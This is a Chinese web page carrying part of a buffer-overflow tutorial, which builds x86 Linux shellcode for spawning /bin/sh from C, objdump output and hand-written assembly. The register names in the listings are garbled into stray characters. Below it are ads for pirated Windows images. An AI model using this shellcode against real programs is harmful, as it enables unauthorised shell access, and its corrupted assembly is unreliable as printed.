缓冲区溢出的解密方法
如何执行 /bin/sh?
在C中,spawn出一个shell的代码可能象这样:
shell.c :
#include
void main()
{
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
}
[murat@victim murat]$ make shell
cc -W -Wall -pedantic -g shell.c -o shell
[murat@victim murat]$ ./shell
bash$
如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个NULL终止的参数数组,和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。
目前为止一切顺利……但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能!
这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。
因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。
首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个方法,execve系统调用也将被反汇编)然后看:
[murat@victim murat]$ gcc -static -g -o shell shell.c
[murat@victim murat]$ objdump -d shell | grep \: -A 12
0804ca10 :
804ca10: 53 pushl 離
804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝
804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫
804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離
804ca1d: b8 0b 00 00 00 movl $0xb,陎
804ca22: cd 80 int $0x80
804ca24: 5b popl 離
804ca25: 3d 01 f0 ff ff cmpl $0xfffff001,陎
804ca2a: 0f 83 00 02 00 jae 804cc30
804ca2f: 00
804ca30: c3 ret
804ca31: 90 nop
[murat@victim murat]$
让我们一步一步地分析这个系统调用:
记住,在我们的main()函数里,我们写了代码:
execve(shell[0], shell, NULL)
我们传递了:
·字符串”/bin/sh”的地址
·NULL结尾数组的地址
·NULL(实际上它是环境地址)
此处,在main里面:
[murat@victim murat]$ objdump -d shell | grep \: -A 17
08048124 :
8048124: 55 pushl 雙
8048125: 89 e5 movl %esp,雙
8048127: 83 ec 08 subl $0x8,%esp
804812a: c7 45 f8 ac 92 movl $0x80592ac,0xfffffff8(雙)
804812f: 05 08
8048131: c7 45 fc 00 00 movl $0x0,0xfffffffc(雙)
8048136: 00 00
8048138: 6a 00 pushl $0x0
804813a: 8d 45 f8 leal 0xfffffff8(雙),陎
804813d: 50 pushl 陎
804813e: 8b 45 f8 movl 0xfffffff8(雙),陎
8048141: 50 pushl 陎
8048142: e8 c9 48 00 00 call 804ca10
8048147: 83 c4 0c addl $0xc,%esp
804814a: c9 leave
804814b: c3 ret
804814c: 90 nop
在调用execve(call 804ca10 )之前,我们反序把这些参数推入到堆栈中。
因此,如果我们回到__execve:
我们拷贝NULL字节到EDX寄存器,
804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝
我们拷贝以NULL结尾数组的地址到ECX寄存器,
804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫
我们拷贝字符串"/bin/sh"的地址到EBX寄存器
804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離
我们为execve拷贝系统索引,即11(oxb)到EAX寄存器:
804ca1d: b8 0b 00 00 00 movl $0xb,陎
接着变成核模式:
804ca22: cd 80 int $0x80
我们需要的全部就是这么多了。然而,这里还有一些问题。我们不能准确地知道NULL结束数组和”/bin/sh”字符串的地址。那么,这个怎么样?:
xorl 陎, 陎
pushl 陎
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,離
pushl 陎
pushl 離
movl %esp,靫
cdql
movb $0x0b,%al
int $0x80
让我解释一下上面的指令:
如果你进行自身异或,你得到0,等同于NULL。这里,我们在EAX寄存器中得到一个NULL。
xorl 陎, 陎
接着我们把NULL推入堆栈:
pushl 陎
我们把字符串”//sh”推入堆栈,
2f is /
2f is /
73 is s
68 is h
pushl $0x68732f2f
我们把字符串”/bin”推入堆栈:
2f is /
62 is b
69 is i
6e is n
pushl $0x6e69622f
可以猜想,现在堆栈指针地址就象我们的NULL结尾字符串”/bin/sh”的地址。因为,从指向栈顶的指针开始,我们有了一个NULL结尾的字符串数组。因此,我们拷贝堆栈指针到EBX寄存器。这样,我们就已经把”/bin/sh”的地址放到EBX寄存器中了。
movl %esp,離
接着我们需要用NULL结尾的数组地址设置ECX。为此,我们在我们的堆栈中创造了一个NULL结尾的数组,与上面那个很像:首先我们PUSH一个NULL。我们不能PUSH NULL,但是我们能PUSH值为NULL的东西,回顾我们异或EAX寄存器在那我们得到了NULL,因此让我们PUSH EAX来在堆栈中得到一个NULL。
pushl 陎
接着,我们PUSH我们的字符串的地址到堆栈,这等同于shell[0]:
pushl 離
现在我们有一个NULL结尾数组的指针,我们能够在ECX中保存它的地址:
movl %esp,靫
我们还需要其它什么呢?一个在EDX寄存器中的NULL。我们能movl 陎, 韝,但是我们能用一个短的指令完成这个操作:cdq。这个指令是把EAX中的符号位扩展到EDX。:
cdql
我们设定EAX 为0xb,这是系统调用表中的系统调用id。
movb $0x0b,%al
接着,我们转换到核模式:
int 0x80
之后,我们进到核模式,内核将调用exec函数执行我们指示给它的:/bin/sh 这样我们将进入一个交互shell……
推荐系统
番茄花园 Windows 10 极速企业版 版本1903 2022年7月(32位) ISO镜像快速下载
语言:中文版系统大小:3.98GB系统类型:Win10番茄花园 Windows 10 32位极速企业版 v2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动激活
新萝卜家园电脑城专用系统 Windows10 x86 企业版 版本1507 2022年7月(32位) ISO镜像高速下载
语言:中文版系统大小:3.98GB系统类型:Win10新萝卜家园电脑城专用系统 Windows10 x86企业版 2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程
笔记本&台式机专用系统 Windows10 企业版 版本1903 2022年7月(32位) ISO镜像快速下载
语言:中文版系统大小:3.98GB系统类型:Win10笔记本台式机专用系统 Windows 10 32位企业版 v2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过
笔记本&台式机专用系统 Windows10 企业版 版本1903 2022年7月(64位) 提供下载
语言:中文版系统大小:3.98GB系统类型:Win10笔记本台式机专用系统 Windows10 64专业版 v2022年7月 一、系统主要特点: 使用微软Win10正式发布的专业版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动
雨林木风 Windows10 x64 企业装机版 版本1903 2022年7月(64位) ISO镜像高速下载
语言:中文版系统大小:3.98GB系统类型:Win10新雨林木风 Windows10 x64 企业装机版 2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动激活
深度技术 Windows 10 x64 企业版 电脑城装机版 版本1903 2022年7月(64位) 高速下载
语言:中文版系统大小:3.98GB系统类型:Win10深度技术 Windows 10 x64 企业TLSB 电脑城装机版2022年7月 一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程
电脑公司 装机专用系统Windows10 x64 企业版2022年7月(64位) ISO镜像高速下载
语言:中文版系统大小:3.98GB系统类型:Win10电脑公司 装机专用系统 Windows10 x64 企业TLSB版2022年7月一、系统主要特点: 使用微软Win10正式发布的企业TLSB版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过
新雨林木风 Windows10 x86 企业装机版2022年7月(32位) ISO镜像高速下载
语言:中文版系统大小:3.15GB系统类型:Win10新雨林木风 Windows10 x86 专业版 2022年7月 一、系统主要特点: 使用微软Win10正式发布的专业版制作; 安装过程全自动无人值守,无需输入序列号,全自动设置; 安装完成后使用Administrator账户直接登录系统,无需手动设置账号。 安装过程中自动激活系统,无
相关文章
- XP系统可以ping通网络却无法上网的故障分析及解决方法
- 微软IIS6漏洞:服务器敏感信息易被窃
- USB键盘无法识别怎么办 USB键盘无法识别解决办法
- win10无线网络不稳定的原因分析及解决办法
- 教你一招 巧用U盘破除管理员密码
- Win10下软媒Wifi助手网络总是频繁掉线怎么办?
- win7系统连接蓝牙鼠标或键盘后无线网络总是掉线的原因及解决办法
- win10无法连接网络怎么办?Win10提示无法连接此网络的原因与解决方案
- Common Unix Printing System的远程拒绝服务漏洞
- 如何允许微信聊天,但禁止微信发送电脑文件、防止电脑数据泄露
- WordPress 2.6.1 SQL Column Truncation Vulnerability分析
- 使用美图秀秀轻松制网络图章
- 恶意软件随处传播 企业该怎么做好安全防御
- Win10系统以太网显示未识别的网络解决方法
热门系统
- 1华硕笔记本&台式机专用系统 GhostWin7 32位正式旗舰版2018年8月(32位)ISO镜像下载
- 2雨林木风 Ghost Win7 SP1 装机版 2020年4月(32位) 提供下载
- 3深度技术 Windows 10 x86 企业版 电脑城装机版2018年10月(32位) ISO镜像免费下载
- 4电脑公司 装机专用系统Windows10 x86喜迎国庆 企业版2020年10月(32位) ISO镜像快速下载
- 5深度技术 Windows 10 x86 企业版 六一节 电脑城装机版 版本1903 2022年6月(32位) ISO镜像免费下载
- 6深度技术 Windows 10 x64 企业版 电脑城装机版2021年1月(64位) 高速下载
- 7新萝卜家园电脑城专用系统 Windows10 x64 企业版2019年10月(64位) ISO镜像免费下载
- 8新萝卜家园 GhostWin7 SP1 最新电脑城极速装机版2018年8月(32位)ISO镜像下载
- 9电脑公司Ghost Win8.1 x32 精选纯净版2022年5月(免激活) ISO镜像高速下载
- 10新萝卜家园Ghost Win8.1 X32 最新纯净版2018年05(自动激活) ISO镜像免费下载
热门文章
- 1华为手环6pro有游泳功能吗-支持游泳模式吗
- 2重装上阵新赛季有哪些重型武器_重装上阵新赛季重型武器列表
- 3系统之家win8笔记本推荐
- 4AMD锐龙R3-1200性能怎么样 AMD Ryzen 3 1200深度评测
- 5使用win7中本地搜索功能时四个技巧快速找到文件的操作方如何用win7的搜索功能法
- 6premiere怎么更改素材序列? premiere更改序列设置的方法
- 7天天酷跑布鲁与冰原狼仔哪一个好 布鲁好还是冰原狼仔好
- 8斐讯k1路由器刷Breed BootLoader(不死UBoot)教程
- 9路由器密码忘了怎么办 无线路由器登陆密码忘了解决方法【详解】
- 10战双帕弥什超频晶币极如何获得_战双帕弥什超频晶币极获得方法
常用系统
- 1笔记本&台式机专用系统 Windows10 企业版 版本1903 2021年4月(32位) ISO镜像快速下载
- 2深度技术 Ghost Win7 x64 Sp1 电脑城纯净版2021年6月(64位) ISO镜像高速下载
- 3电脑公司 装机专用系统Windows10 x64 企业装机版 版本1507 2022年5月(64位) ISO镜像高速下载
- 4番茄花园 Windows 10 六一节 极速企业版 版本1903 2021年6月(32位) ISO镜像快速下载
- 5电脑公司Ghost Win8.1 x32 新春特别 精选纯净版2022年2月(免激活) ISO镜像高速下载
- 6笔记本&台式机专用系统GhostWin7 64位旗舰版2019年10月(64位) 高速下载
- 7笔记本&台式机专用系统GhostWin7 64位旗舰版2019年9月(64位) 高速下载
- 8深度技术Ghost Win8.1 x32位 特别纯净版2021年2月(免激活) ISO镜像高速下载
- 9电脑公司 装机专用系统Windows10 x86企业版2020年5月(32位) ISO镜像快速下载
- 10雨林木风Ghost Win8.1 (X64) 极速纯净版2020年12月免激活) ISO镜像高速下载